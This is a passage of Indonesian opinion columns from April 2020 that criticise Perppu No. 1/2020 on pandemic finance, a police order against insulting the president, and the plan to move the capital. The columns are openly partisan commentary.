melakukan tindakanpenjualan/repo Surat Berharga Negara yang dimiliki kepada Bank Indonesia. Menerbitakan surat utang, pinjaman kepada pihak lain, atau pinjaman kepada pemerintah, dalam hal LPS diperkirakan akan mengalami kesulitan likuiditas untuk penanganan bank gagal. Selanjutnya, untuk mendukung pelaksanaan kewenangan KSSK dalam rangka penanganan permasalahan stabilitas sistem keuangan sebagaimana dimaksud dalam Pasal 15 ayat (1), Pemerintah diberikan kewenangan untuk memberikan pinjaman kepada LPS. Ketentuan mengenai persyaratan dan tata cara pemberian pinjaman oleh Pemerintah kepada LPS diatur dengan Peraturan Menteri Keuangan. Jadi sungguh dahsyat Perpu 1 tahun 2020 ini. Memanfaatkan momentum kepanikan global dan kesusahan bangsa Indonesia untuk mendanai sektor keuangan, bank dan mungkin asuransi, yang selama ini justru bersama oligarki menjadi biang kerok kerusakan ekonomi nasional. Penulis adalah Peneliti Asosiasi Ekonomi Politik Indonesia (AEPI)

Terima Kasih Bapak Presiden SBY

Oleh Hersubeno Arief Jakarta, FNN - Di Amerika Serikat (AS) ada tradisi menarik, bagaimana publik memperlakukan mantan presiden. Seorang presiden, tetap dipanggil sebagai Mr President kendati sudah pensiun. Semacam bentuk penghormatan atas pengabdiannya kepada bangsa dan negara. Sebagai sesama negara demokrasi, tradisi baik itu tak ada salahnya kita tiru. Apalagi bila setelah pensiun, ternyata dia tetap memikirkan dan melakukan hal-hal positif untuk kebaikan bangsa. Jadi judul di atas tidak lah keliru. Dalam situasi bangsa tengah menghadapi pandemi, Susilo Bambang Yudhoyono (SBY) menunjukkan kelasnya sebagai seorang negarawan. Statemanship. Melalui tulisan yang dimuat dalam akun facebooknya, SBY mengingatkan dan menyesalkan adanya telegram Kapolri. Dalam telegram tersebut Kapolri Jenderal Idham Azis memerintahkan kepada jajaran Polri untuk melakukan penindakan hukum bagi penghina presiden dan pejabat negara lainnya. Korbannya sudah ada. Beberapa orang ditangkap karena dinilai menghina Presiden Jokowi. Di Jakarta Utara, polisi menangkap seorang pengemudi ojek online. Menghina Presiden Jokowi dan anggota Wantimpres Habib Luthfi Bin Yahya. Di Tanjung Pinang, Kepulauan Riau seorang buruh ditangkap karena kedapatan menghina Presiden Jokowi di media sosial. "Saya perhatikan beberapa hari terakhir ini justru ada situasi yang tak sepatutnya terjadi,” tulis SBY. “Apa itu? Kembali terjadi ketegangan antara elemen masyarakat dengan para pejabat pemerintah, bahkan disertai dengan ancaman untuk "mempolisikan" warga kita yang salah bicara. Khususnya yang dianggap melakukan penghinaan kepada Presiden dan para pejabat negara," tambah SBY. Mumpung ketegangan ini belum meningkat, tambah SBY, “dengan segala kerendahan hati saya bermohon agar masalah tersebut dapat ditangani dengan tepat dan bijak.” Dalam penilaian SBY, Langkah Kapolri menunjukkan pemerintah tidak fokus menangani wabah Covid-19. "Saya melihat masih ada elemen di negeri ini yang belum benar-benar fokus dan tidak bekerja sesuai prioritasnya. Ingat, first thing first. Waktu dan sumber daya kita terbatas, sehingga harus diarahkan kepada kepentingan dan sasaran utama kita saat ini," katanya. SBY mengingatkan kembali prioritas saat ini adalah menyelamatkan warga yang sudah terinfeksi. Membatasi serta menghentikan penyebaran virus corona. Bukan malah menebar ancaman kepada warga yang kritis kepada pemerintah. Kritik dalam sebuah negara demokrasi adalah sebuah keniscayaan, dan tidak harus dihadapi dengan sikap keras, apalagi represif. "Tanpa disadari, sebagian penguasa dan pejabat pemerintah menjadi sensitif. Menjadi kurang sabar dan tak tahan pula menghadapi kritik, apalagi hinaan dan cercaan," ujarnya Situasi seperti inilah, ujar SBY yang bisa memunculkan 'benturan' antara elemen masyarakat dengan pihak pemerintah. Apalagi kalau sebelumnya sudah ada benih-benih ketidakcocokan dan ketidaksukaan. SBY juga mengingatkan agar masyarakat tidak apriori terhadap pemerintah. Dengan segala keterbatasannya pemerintah telah berupaya mengatasi wabah Corona. Inilah waktunya kita bersatu. Tidak asal bicara SBY tidak asal bicara. Dia telah menunjukkan satu kata dengan perbuatan. Pada saat masih menjabat sebagai Presiden, SBY pernah mendatangi Polda Metro Jaya. Sebagai pribadi, SBY melaporkan mantan Wakil Ketua DPR Zainal Ma’arif yang dinilainya melakukan pencemaran nama baik. SBY tidak menggunakan kekuasaannya sebagai presiden. Memerintahkan polisi, menangkap orang yang menghinanya. Kasus berakhir happy ending karena Zainal Ma’arif minta maaf, dan SBY memaafkannya. SBY taat azas dan taat hukum. Berdasarkan keputusan Mahkamah Konstitusi (MK) Nomor 013-022-PUU-IV/2006 pasal penghinaan kepada presiden telah dibatalkan. Pasal-pasal dalam KUHP yang menyasar kepada kasus-kasus penghinaan presiden terdapat pada pasal 134, pasal 136 bis, dan pasal 137 ayat (1). Karena itu lah mantan Ketua MK Jimly Asshiddiqie mengingatkan kepolisian agar tidak menafsirkan sendiri arti 'penghinaan presiden' dalam melakukan penindakan. Dalam Rancangan KUHP yang akan segera disahkan. Pasal-pasal tersebut juga berubah menjadi delik aduan. "Jadi, orang yang merasa terhina itu yang mengadu. Jangan petugas yang menafsirkan sendiri si A, si B, terhina. Itu nanti merusak demokrasi," kata Jimly kepada media. Telegram Kapolri itu memang ditentang secara luas oleh para penggiat hukum dan demokrasi. Mereka meminta Kapolri segera membatalkan. Tindakan polisi menangkap mereka yang dinilai menghina Presiden, menjadi sebuah ironi. Pemerintah baru saja membebaskan sejumlah narapidana karena adanya wabah Corona. Bersamaan dengan itu polisi kembali menangkapi warga. Jadilah penjara akan kembali penuh, dan polisi akan disibukkan dengan hal-hal yang tidak perlu. Wabah Corona membawa dampak serius berupa krisis ekonomi. Banyak warga yang kehilangan pekerjaan dan tidak bisa makan. Hampir dapat dipastikan situasi keamanan dan ketertiban masyarakat (Kamtibmas) akan sangat rawan. Tugas polisi akan sangat berat. Jangan ditambah-tambahi lagi. Perut kosong dan keluarga yang tidak makan, bisa mendorong rakyat berbuat nekad. Rakyat, ujar SBY, saat ini sedang dalam situasi _stressful._ Tegang, gamang, takut, emosional, dan gampang marah. Polisi harusnya fokus pada antisipasi dan rencana darurat (emergency plan) krisis Kamtibmas sebagai dampak Corona. Tugas mengayomi dan melindungi warga. Bukan malah sebaliknya terpaksa disibukkan melindungi presiden atau para pejabat yang merasa harga dirinya terhina. Harusnya para pejabat, termasuk Presiden bersikap sebaliknya. Harga dirinya akan sangat-sangat tersinggung, malu, kalau sampai terjadi banyak rakyat yang mati kelaparan. Jangan dibalik-balik. Terima kasih Presiden SBY sudah ikut mengingatkan. Tabiikkkkkkk……End. Penulis Wartawan Senior

Apa Dibalik Horor Perpu Nomor 1 Tahun 2020?

By Dr. Ahmad Yani SH. MH. (Bagian Pertama) Jakarta FNN – Kamis (09/04). Saya merasa tersentak ketika membaca secara keseluruhan Peraturan Pemerintah Pengganti Undang-Undang (Perppu) Nomor 1 Tahun 2020 Tentang Kebijakan Keuangan Negara dan Stabilitas Sistem Keuangan Untuk Penanganan Pandemi Corona Virus Disease 2019 (Covid-19) Dan/Atau Dalam Rangka Memghadapi Ancaman Yang Membahayakan Perekonomian Nasional Dan/Atau Stabiltas Sistem Keuangan. Dari Judul Perpu Nomor 1 Tahun 2020, yang begitu panjang dan menimbulkan banyak pertanyaan yg mendasar. Pertama, apakah Perppu ini mau Melindungi dan Menyelamatkan nyawa rakyat, termasuk di dalamnya tenaga medis dari ancaman Covid-19 ? Atau hanya mau melindungi dan menyelamatkan kebijakan keuangan negara dan stabilitas sistem keuangan pemerintah? Atau mau melindungi dan menyelamatkan pemerintah yang keliru dan tidak profesional dalam tata kelola kebijakan ekonomi dan keuangan negara? Perppu Nomor 1 Tahun 2019 dapat disebut sebagai Perppu Kebijakan Keuangan Negara dan Stabilitas Sistem Keuangan dan/atau Dalam Rangka Menghadapi Ancaman yang Membahayakan Perekonomian Nasional dan/atau Stabilitas Sistem Keuangan. Adapun Istilah Pendemi Corana Virus Desease 2019 (Covid-19) hanya sebaga alasan pembenaran untuk mengeluarkan Perppu ini. Ditinjau mulai dari konsideran menimbang (fakta), batang tubuh( pasal-pasal) dan penjelasan Perppu yang menjadi tujuan utama bukan untuk menyelamatkan nyawa warga negara. Berdasarkan data resmi tanggal 8 April 2020, sudah 2.956 Positif Covid-19, meninggal dunia 240 orang dant enaga medis yang meninggal sudah 25 orang. Indonesia terbanyak diseluruh dunia tenaga medis yang meninggal. Misi yang lebih mencolok dari keluarnya Perppu ini adalah untuk mengamankan ekonomi yang sudah mengalami devisit anggaran sejak beberapa tahun terakhir, sebelum Covid-19 masuk ke Indonesia. Kenyataan ini akibat kegagalan pengelolaan perekonomian dan keuangan negara yang tidak benar, dan sangat berpotensi mengancam stabilitas keuangan. Kondisi ini sudah seringkali diingatkan oleh pakar ekonomi, khususnya Bang Rizal Ramli, dalam berbagai tulisan atau pandangan yang dikemukakannya dalam berbagai forum. Namun pemerintah menutup kuping dan mata. Ibarat pepatah “biarlah anjing mengonggong kafilah tetap berlalu”. Jadi bukan karena Covid-19 perekonomian dan keuangan negara ambruk. Justru sebaliknya, perekonomian dan keuangan negara sudah dalam keadaan buruk. Kondisi ini menyebabkan pemerintah gagap menghadapi Covid-19. Tanpa Covid-19, Indonesia tetap menghadapi krisis ekonomi dan ancaman resesi. Menurut saya, eknomi kita yang amburadul dan pengelolaan keuangan negara yang tidak tepat membuat kita tidak mampu menghadapi wabah ini. Persoalan utamanya adalah masalah ekonomi. Meskipun dalam Perppu tersebut, Covid-19 menjdi alasannya, namun dalam norma Perppu maupun konsiderannya tergambar jelas untuk mengatas darurat ekonomi. Oleh karenanya, Perppu ini tidak relevan dengan kondisi darurat kesehatan nasional yang sedang dialami oleh Indonesia. Dari postur Anggaran yang digelontorkan sebesar Rp 405,1 triliun, untuk bidang kesehatan sebagai pront terdepan menghadapi serangan Covid-19 hanya Rp 75 triliun. Sebanyak Rp 110 triliun untuk jaring pengamanan social. Sisanya Rp 150 triliun untuk pemulihan ekonomi nasional, dan Rp 70,1 triliun untuk insentif perpajakan dan stimulus Kredit Usaha Rakyat (KUR). Pembiayaan dalam bidang kesehatan sangat kecil. Hanya 75 triliun. Sementara alasan bagi keluarnya Perppu adalah untuk menghadapi ancaman Pendemi Covid-19. Kedua, apakah Perppu Nomor 1 Tahun 2020, Telah Memenuhi Syarat-syarat Negara dalam keadaan bahaya, sehingga menimbulkan kegentingan memaksa? Dalam Pasal 22 (1) UUD 1945 disebutkan “Dalam hal ihwal kegentingan yang memaksa, Presiden berhak menetapkan peraturan pemerintah sebagai pengganti undang-undang.” Mahkamah Konstitusi (MK) dalam Putusan MK Nomor 138/PUU-VII/2009, menyebut ada tiga syarat sebagai parameter adanya “kegentingan yang memaksa” bagi Presiden untuk menetapkan PERPPU yaitu: Syarat Pertama, adanya keadaan, yaitu kebutuhan mendesak untuk menyelesaikan masalah hukum secara cepat berdasarkan Undang-Undang. Syarat Kedua, Undang-Undang yang dibutuhkan tersebut belum ada sehingga terjadi kekosongan hukum, atau ada Undang-Undang tetapi tidak memadai. Syarat Ketiga, kekosongan hukum tersebut tidak dapat diatasi dengan cara membuat Undang-Undang secara prosedur biasa karena akan memerlukan waktu yang cukup lama sedangkan keadaan yang mendesak tersebut perlu kepastian untuk diselesaikan. Apakah negara dalam keadaan bahaya dan ancaman sebagaimana yang dimaksud Pasal 12 UUD? Tentu saja tidak. Karena sampai saat ini Presiden belum mengeluarkan pernyataan Negara dalam Bahaya. Dan dalam Perppu tersebut tidak menjadikan pasal 12 UUD sebagai dasar hukum (mengingat). Kertiga, apakah Perppu Nomor 1 Tahun 2020, dikeluarkan dan diterbitkan karna terjadi kekosongan hukum dalam menghadapi Ancaman dan bahaya Covid-19, serta DPR dalam masa Reses? Syarat bagi keluarnya Perppu adalah karena terjadi kekosongan hukum. Dalam menghadapi Covid-19, pemerintah telah memiliki payung hukum yang jelas. Ada undang-undang Nomor 6 tahun 2018 tentang Karantina Kesehatan yang sangat jelas dan terang untuk dijadikan sebagai dasar hukum dalam mengambil kebijakan penanganan wabah Covid-19. Dimulai dengan karantina rumah, karantina pintu masuk, pembatasan sosial berskala besar dan pemungkasnya karantina wilayah. Alasan mendesak pun tidak terpenuhi dalam perppu ini. Sebab DPR masih bersidang, belum memasuki masa reses. Bahkan sampai hari ini DPR masih membahas Rancangan Undang-Undang (RUU) Omnibus Law dan RUU Pemindahan Ibukota Negara. Artinya, Pemegang Kekuasaan pembentuk Undang-Undang masih berfungsi dalam menjalankan tugasnya. Dari tiga hal sebagaimana yang disebutkan dalam Putusan MK, tidak dapat dijadikan alas an. Sebab kekosongan hukum dan keadaan mendesak tidak terpenuhi. Yang lebih mencengangkan, apa yang dibahas dalam Perppu itu adalah tentang masalah keuangan dan anggaran negara. Sementara Anggaran Negara sudah ditetapkan dalam Anggaran Pendapatan dan Belanja Negara (APBN). Undang-Undang tentang APBN tidak boleh direvisi oleh Perppu. Bukan hanya tidak boleh, tetapi haram hukumnya. Hanya boleh direvisi dengan melalui APBN Perubahan (APBN-P).Dengan Perppu No.1 Tahun 2020 kekuasaan dan fungsi Anggaran DPR sebagaimana diatur Pasal 20 A dan Pasal 23 UUD dan Pasal 28, Pasal 177 huruf C angka 2, Pasal 180 ayat 6 dan Pasal 182 UU MD3 menjadi hilang. Keempat, apakah Perpu Nomor 1 Tahun 2020 bersifat Adhoc (sementara) atau Permanen? Perppu memang bersifat Adhock, tetapi dalam Pasal 22 ayat (2) dikatakan “Peraturan pemerintah itu harus mendapat persetujuan Dewan Perwakilan Rakyat dalam persidangan berikutnya”. Artinya, berdasarkan Pasal 52 ayat (1) UU 12/2011,Perpu harus diajukan ke DPR dalam persidangan berikut. Yang dimaksud dengan “persidangan berikut” menurut penjelasan Pasal 52 ayat (1) UU 12/2011 adalah masa sidang pertama DPR setelah Perpu ditetapkan. Jadi, pembahasan Perppu untuk di DPR dilakukan pada saat sidang pertama DPR dalam agenda sidang DPR setelah Perpu itu ditetapkan untuk mendapat persetujuan atau tidak dari DPR. Tergantung dari DPR. Apabila Perpu itu tidak disetujui oleh DPR, maka Perppu ini akan dicabut atau dibatalkan. Yang menimbulkan persoalan hukum adalah apabila DPR menyetujui. Maka Perppu menjadi UU yang bersifat permanen. Sedangkan tujuan dan maksud Perppu diterbitkan untuk jangka waktu sementara (adhoc). Persetujuan DPR ini sangat penting. Karena DPR lah yang memiliki kekuasaan pembentukan undang-undang (legislatif), dan yang secara obyektif menilai ada tidaknya kegentingan yang memaksa. Kelima, apakah Perpu Nomor 1 Tahun 2020 dapat mencabut kekuasaan Lembaga-lembaga Negara, seperti Lembaga Peradilan, BPK dan DPR? Padahal lembaga-lembaga negara tersebut mendapat mandatory langsung dari konstitusi UUD 1945. Dalam Ketentuan Penutup Pasal 27 dan 28 Perpu No. 1 Tahun 2020 memberikan kekebalan hukum dan membatalkan fungsi dan kewenangan lembaga negara yang dibentuk berdasarkan UUD. Lembaga Negara Inti seperti DPR, BPK dan badan Kekuasaan Kehakiman tidak dapat menjalankan fungsi dan kewenangannya dengan Perppu ini. Saya menyebut Perpu ini begitu “sangat berkuasa”, sehingga Kekuasaan Kehakiman yang merupakan kekuasaan yang merdeka untuk menyelenggarakan peradilan guna menegakkan hukum dan keadilan” Pasal 24 ayat (1) UUD 1945, tidak dapat berbuat apa-apa dengan terbitnya Perppu ini. Padahal dalam teori cabang kekuasaan, kita mengenal Eksekutif, Legislatif dan Yudikatif. Masing-masing bertindak menurut ketentuan hukum yang berlaku. Namun dengan Perppu ini tidak memberikan kesempatan chek and balances antara tiga cabang kekuasaan tersebut. Artinya, Presiden memiliki kekuasaan yang besar, yaitu kekuasaan Legislatif, Yudikatif , Eksekutif dan Kekuasaan BPK, sehingga mendapat pelindungan hukum dengan hak Imunitas dari tuntutan pidana, perdata dan TUN. Kewenangan Badan Pemeriksa Kekuangan(BPK) yang diberi amanat oleh Pasal 23E UUD 1945 untuk memeriksa pengelolaan dan tanggung jawab tentang keuangan negara, tidak boleh melakukan tugasnya menurut Perppu ini. Sementara pemerintah atau perjabat seperti Menteri, KSSK, OJK dan lain-lain yang disebutkan dalam Perpu itu, berhak dengan kekuasannya menetapkan secara sepihak defisit maupun realokasi anggaran, tanpa ada persetujuan dari DPR. Luar biasa Perpu ini. Padahal UU No 17/2014 yang diubah dengan UU 13/2019 tentang MPR, DPR, DPRD, DPD (MD3) Pasal 177 huruf c. DPR dalam melaksanakan wewenangnya dapat melakukan kegiatan pembahasan laporan realisasi APBN semester pertama dan 6 (enam) bulan berikutnya, penyesuaian APBN dengan perkembangan dan/atau perubahan dalam rangka penyusunan perkiraan perubahan atas APBN tahun anggaran yang bersangkutan. Apabila terjadi perkembangan ekonomi makro yang tidak sesuai dengan asumsi yang digunakan dalam APBN, perubahan pokok-pokok kebijakan fiscal, keadaan yang menyebabkan harus dilakukannya pergeseran anggaran antar-unit organisasi, dan/atau keadaan yang menyebabkan saldo anggaran lebih tahun sebelumnya harus digunakan untuk pembiayaan anggaran tahun berjalan. Prosedur Perundang-undangan jelas. APBN itu sesuai Pasal 180 ayat (6) UU MD3 “APBN yang disetujui oleh DPR terperinci sampai dengan unit organisasi, fungsi, dan program”. Kebijakan APBN itu sudah terperinci tidak bisa dibuatkan peraturan seperti yang dijadikan alasan dalam Pasal 1 Perpu 1/2020 itu. Kalau terjadi perubahan asumsi ekonomi Pemerintah tidak dapat mengambil kebijakan sendiri. Tetap harus melalui DPR. Ketentuan Pasal 182 UU MD3 jelas dan terang bahwa harus melalui APBN Perubahan. Bukan membuat peraturan yang setingkat UU dengan alasan menyelamatkan ekonomi. Padahal ada prosedur hukum yang jelas yang harus ditempuh. Keenam, apakah Perpu Nomor 1 Tahun 2020 dapat menambah kekuasaan dan kewenangan BI, OJK, Menteri dan khususnya Menteri keuangan, serta KSSK? Banyak celah moral hazard dalam implementasinya. Sebab banyak kewenangan tambahan dan kekebalan hukum (imunitas) bagi para pengambil kebijakan dalam melaksanakan kebijakan tersebut, seperti ketentuan bagi Bank Indonesia. Pemerintah boleh meminta BI membeli Surat Berharga Negara (SBN) di pasar perdana. Padahal, ini dilarang oleh UU BI. Namun, Perppu No.1 Tahun 2020 tersebut membolehkannya. Aturan yang membolehkan BI bisa membeli SBN di Pasar Primer sangat membahayakan. Selama ini BI hanya diperbolehkan membeli SBN di Pasar Sekunder. Perppu ini bisa disalahgunakan seperti kasus Bantuan Likuiditas Bank Indonesia (BLBI) dahulu saat krisis moneter menjerat negeri ini tahun 1998. Menurut hasil audit Badan Pemeriksa Keuangan tahun 2000, BLBI merugikan negara Rp 138,442 triliun, dari yang dikucurkan Rp 144,536 triliun. Kredit itu diberikan kepada 48 bank, dengan rincian 10 bank beku operasi, 5 bank take over, 18 bank beku kegiatan usaha, dan 15 bank dalam likuidasi. Ketika itu, uang BI dikuras untuk menyehatkan perbankan yang katanya mengalami rush, tetapi dalam kenyataannya, cuma dijadikan modus dari para pemilik bank untuk mendapatkan dana segar dalam rakngka menyelamatkan grup usahanya. Wallahualam bis shawab. (Bersambung) Penulis Anggota DPR 2009-2014, Advokat, Dosen FH dan Fisip UMJ, Inisiator Masyumi Reborn.

Pindah Ibukota, “Agenda Menggadaikan Kedaulatan Negara”

By Marwan Batubara Jakarta FNN – Kamis (09/04). Di tengah semakin beratnya beban hidup rakyat akibat pandemi Covid-19 dan kondisi keuangan negara yang semakin terbebani utang menggunung. Akhir Maret 2020 lalu Menko Kemaritiman dan Investasi (Marves) Luhut Binsar Pandjaitan (LBP) menyatakan bahwa ambisi Jokowi untuk memindahkan Ibukota Negara akan tetap diteruskan (24/3/2020). Dikatakan Luhut, tim dari Kemenko Marves bersama Kementerian BUMN dan Kementerian Keuangan masih terus melakukan koordinasi. Koordinasi juga dilakukan dengan berbagai calon investor dan mitra untuk pengembangan Ibukota Negara. Sejalan dengan LBP, Presiden Jokowi pun ingin mewujudkan “ambisi” memindahkan Ibukota Negara dari Jakarta ke Kabupaten Penajam Paser Utara (PPU) dan Kabupaten Kutai Kartanegara, Kalimantan Timur. Target Jokowi terealisasi sebelum masa jabatan kedua berakhir di 2024. Mimpi ini akan direalisasikan karena telah didukung oleh DPR. Mayoritas partai politik dan sejumlah pakar dan akademisi mendukung dengan berbagai alasan yang sumir. Jokowi tak merasa perlu membuat kajian kelayakan komprehensif. Tidak peduli juga dengan mayoritas rakyat yang menolak. Ambisi pemindahan Ibukota Negara yang dipromosikan sebagai economic deriver untuk pertumbuhan ekonomi, merupakan program yang memberatkan keuangan negara. Tidak pro pemerataan, dan tidak prioritas. Tidak didukung dengan kajian dan pertimbangan objektif. Kebijakan ini akan menambah beban utang negara. Sangat berpotensi moral hazard. Apalagi jika melihat kondisi ekonomi rakyat dan keuangan negara yang semakin morat-marit akibat pandemi Covid-19. Karena itu, program pemindahan Ibukota Negara memang harus segera dibatalkan. Beban Utang Meningkat Tajam Sikap ambisius Jokowi memindahkan Ibukota Negara telah terefleksi dalam penetapan APBN 2020 pada 24 September 2019 lalu. Meskipun masih dalam tahap kajian, dan belum memiliki landasan hukum berbentuk undang-undang, pemerintah telah mengalokasikan anggaran Rp 2 triliun untuk pemindahan Ibukota Negara. Anggaran Rp 2 triliun tersebut tersebar dalam anggaran di sejumlah kementrian. Sikap arogan dan menabrak aturan ini diambil pemerintah di tengah defisit APBN yang semakin besar. Sehingga beban utang negara dalam APBN akan semakin berat dari tahun ke tahun. Dalam bulan Februari 2020 pemerintah menambah utang sebesar Rp 130,63 triliun terhadap total utang yang sebelumnya telah mencapai Rp 4.817,55 triliun. Selama sekitar lima tahun berkuasa, Jokowi telah meningkatkan utang negara dari Rp 2.600 triliun pada Desember 2014 menjadi Rp 4.948,18 triliun akhir Februari 2020. Jokowi menambah utang baru sebesar Rp 2.348 triliun, meningkat sekitar 90%. Akibat pandemi Coivd-19, pemerintah menerbitkan Perppu No.1/2020. Isinya mengenai relaksasi batas defisit APBN, dari 3% menjadi 5%. Masa berlaku defisit ini untuk tiga tahun ke depan. Selain itu, Perppu ini juga menambah alokasi belanja Rp 405 triliun . Menurut Menkeu Sri Mulyani sebagian didanai dari Sisa Anggaran Lebih (SAL), dana BLU, realokasi penyertaan modal negara, dan utang (1/4/2020). Menkeu tidak menyebut tentang adanya realokasi dan pengurangan atau penghapusan anggaran yang tidak prioritas, seperti anggaran untuk Ibukota Negara. Dengan demikian, sebagian besar anggaran untuk tambahan belanja Rp 405 triliun tersebut akan ditutup dengan utang baru. Artinya, proyek mercu suar Ibukota Negara akan dilanjutkan. Utang negara yang sudah sangat besar itu semakin meningkat akibat wabah korona, dan akan diperparah oleh ambisi Presiden Jokowi memindahkan Ibukota Negara. Kemiskinan dan Gini Ratio Tinggi Dalam laporan keuangan pemerintah, disebutkan realisasi pembayaran bunga utang pada 2019 mencapai Rp 275,5 triliun. Sedangkan untuk tahun 2020 ini, anggaran pembayaran bunga utang adalah 295 triliun. Jika ditambah dengan pembayaran pokok utang Rp351 trilliun, maka total pokok dan bunga utang yang harus dibayarkan dalam APBN 2020 adalah Rp 646 Trilliun. Alokasi anggaran untuk pembayaran bunga dan pokok utang itu, jauh di atas anggaran untuk Program Perlindungan Sosial dan Pengentasan Kemiskinan, termasuk subsidi yang hanya Rp 372,5 triliun. Pembangunan Ibukota Negara sesuai konsep awal adalah menjadikan economic driver atau sebagai penggerak ekonomi melalui urban development. Yang menjadi pertimbangan utama adalah aspek ekonomi, tanpa mempertimbangkan aspek-aspek sosial, politik, lingkungan, budaya, dan hankam secara seimbang. Faktanya, kajian komprehensif guna menganalisis berbagai aspek tersebut belum dilakukan pemerintah. Apalagi jika berharap akan adanya keterlibatan berbagai stake holders yang relevan. Ditinjau dari aspek sosial-politik, pengentasan kemiskinan dan pemerataan Indonesia bagian timur dengan barat, justru jauh lebih efisien dan efektif. Apalagi jika dilakukan melalui intensifikasi dan konsistensi pengembangan pusat-pusat pertumbuhan, industri (khusus) dan produksi yang tersebar di berbagai daerah. Kemiskinan yang merata di seluruh daerah akan dapat dientaskan melalui pembangunan sentra-sentra industri dan produksi yang relevan bagi tiap daerah. Pengentasan kemiskinan tidak akan efektif dan efisien dengan pemindahan Ibukota Negara yang titik beratnya hanya pada aspek ekonomi, dan sejak awal tidak dimaksudkan pula menjadi kota industri dan pusat produksi. Populasi masyarakat miskin di Indonesia masih tinggi. Ini terlihat pada tingkat kemiskinan sekitar 10%. Tingkat ketimpangan kaya-miskin nasional pun masih lebar dengan Gini Ratio sekitar 0,39. Dengan kondisi gagal panen akhir-akhir ini, ditambah pula dengan kehidupan ekonomi yang memburuk akibat wabah Covid-19, maka sangat jelas bahwa tingkat kemiskinan, dan gap kaya-miskin akan meningkat. Jokowi dan LBP masih tetap ngotot untuk membangun IKN baru tanpa peduli nasib rakyat miskin. Mayoritas Beban Ditanggung APBN Menurut pemerintah, pemindahan Ibukota Negara dimaksudkan untuk mewujudkan visi Indonesia sentris, melalui pembangunan yang merata. Adanya penciptaan pusat-pusat pertumbuhan ekonomi baru. Anggaran pemindahan Ibukota Negara sekitar Rp 466 triliun yang berasal APBN, swasta dan swasta/BUMN dalam skema Kerjasama Pemerintah dan Badan Usaha (KPBU). Kementerian Keuangan (Kemenkeu) merinci anggaran pemindahan Ibukota Negara dengan skema pembiayaan sbb: Pertama, melalui APBN. Porsinya 19,2% atau Rp 89,472 triliun. Dana ini untuk membangun infrastruktur pelayanan dasar. Juga untuk pembangunan Istana negara dan bangunan strategis TNI/Polri, rumah dinas PNS,TNI dan Polri. Selain itu, untuk pengadaan lahan, ruang terbuka hijau dan Pangkalan Militer. Kedua, melalui swasta. Porsinya 26,2% atau Rp 122,092 triliun. Dana ini untuk membangun perumahan umum, Perguruan Tinggi, peningkatan bandara, pelabuhan, dan jalan tol. Juga untuk sarana kesehatan, mall, dan Meeting, Incentive, Convention, Exhibition (MICE). Ketiga, melalui KPBU. Porsinya 54,6% atau Rp 254,436 triliun. Ini untuk membangun gedung-gedung eksekutif, legislatif, dan yudikatif. Juga untuk membangun infrastruktur selain yang tercakup di APBN. Seklain itu, untuk sarana pendidikan dan kesehatan, museum dan lembaga permasyarakatan serta Sarana penunjang lainnya. Rencana pemindahan Ibukota Negara yang diklaim hanya menggunakan APBN sebesar Rp 89,472 triliun tersebut, hanya taktik supaya terlihat rendah. Namun mengandung unsur manipulasi. Pertama, menurut Pasal 5 Perpres No.38/2015 tentang KPBU, sarana yang boleh dikerjasamakan sesuai skema KPBU adalah sarana ekonomi dan sosial. Karena itu, sarana gedung eksekutif, legislatif dan yudikatif jelas tidak termasuk sarana yang didanai swasta melalui skema KPBU, tetapi harus didanai negara melalui APBN. Kedua, meskipun sarana dan gedung-gedung tersebut dikerjasamakan dengan swasta melalui skema KPBU, pada akhirnya pemerintah perlu membayar biaya sewa dalam bentuk biaya operasi setiap kementrian dan lembaga yang memanfaatkan sarana tersebut. Akhirnya, tetap saja negara melalui APBN lah yang harus membayar biaya sewa/operasi sarana tersebut. Bahkan jumlahnya pun pasti lebih besar karena di dalam skema KBPU terkandung unsur keuntungan swasta yang harus dibayar, dibanding jika sarana dibangun pemerintah sendiri. Ketiga, biaya sebesar Rp 466 triliun itu hanya memperhitungkan pembangunan sarana. Padahal dengan pindah Ibukota Negara, sebagian Aparatur Sipil Negara (ASN) pemerintah pusat yang saat ini berjumlah 1,4 juta orang juga harus pindah. Jokowi memastikan bahwa seluruh ASN di pemerintah pusat akan pindah ke ibu kota baru pada 2024 (27/1/2020). Seandainya pun ASN yang ikut pindah hanya sekitar 200.000 orang, maka akan dibutuhkan juga biaya sekitar Rp 5 hingga Rp 7 triliun lagi. Dominasi Swasta Atau Asing Secara keseluruhan, biaya yang akan ditanggung APBN karena pindahnya Ibukota Negara akan sangat besar, dan berlangsung bertahun-tahun. Namun terlepas dari beban APBN yang berat tersebut, pihak swasta akan sangat dominan untuk membangun Ibukota Negara baru ini. Penggunaan skema KPBU yang menggunakan dana swasta hingga Rp 254 triliun, ditambah swasta murni Rp 122 triliun, akan menjadikan kantor-kantor Ibukota Negara sebagai proyek bisnis yang sangat menguntungkan bagi swasta atau asing. Dalam hal ini, perburuan untung besar oleh oligarki penguasa-pengusaha lah yang tampak menjadi motif utama ambisa Jokowi memindahkan Ibukota Negara. Padahal, seluruh sarana terkait penyelenggaraan negara, terutama kantor-kantor eksekutif, legislatif dan yudikatif, berikut sarana penunjangnya, sesuai konstitusi haruslah dibangun pemerintah. Karena motif bisnis di satu sisi dan sikap defensif atas gugatan beban APBN yang besar di sisi lain, maka Jokowi tetap memaksakan diri. Karena motif bisnis pulalah maka proyek ini dengan sangat arogan dijalankan oleh oligarki penguasa-pengusaha melalui pendekatan konspiratif, sistemik dan otoriter. Negara akan membayar keuntungan bisnis swasta atau asing yang membangun berbagai sarana dalam jumlah sangat besar pada tahun-tahun mendatang. Lebih ironis, dengan peran swasta yang dominan, maka peran pemerintah menjamin kedaulatan negara dan martabat bangsa akan berkurang atau hilang. Peran swasta membangun Ibukota Negara pasti mengancam kedaulatan negara dan martabat bangsa. Sebab, infrastruktur politik strategis dan objek vital negara, seperti juga untuk persenjataan TNI, seharusnya dibangun dan dikuasai sepenuhnya oleh negara. Jika peran swasta dibiarkan leluasa, maka pemerintah tidak akan dapat berfungsi secara penuh dan independen menjalankan fungsi konstitusional negara. Pembentukan pemerintah guna melindungi segenap bangsa Indonesia dan seluruh tumpah darah Indonesia, mencerdaskan kehidupan bangsa dan menciptakan keadilan sosial, sebagaimana diamanatkan pada Alinea ke-4 Pembukaan UUD 1945 dan berdasarkan Pancasila pasti tidak akan terpenuhi. Ambisi pembangunan Ibukota Negara baru jelas melanggar UUD 1945, Pancasila dan sejumlah UU. Karena ingin menunjukkan bahaa proyek ini tidak membebani keuangan negara atau APBN, dengan berlindung di balik dana swasta, maka pemerintah telah melakukan kesalahan lain secara 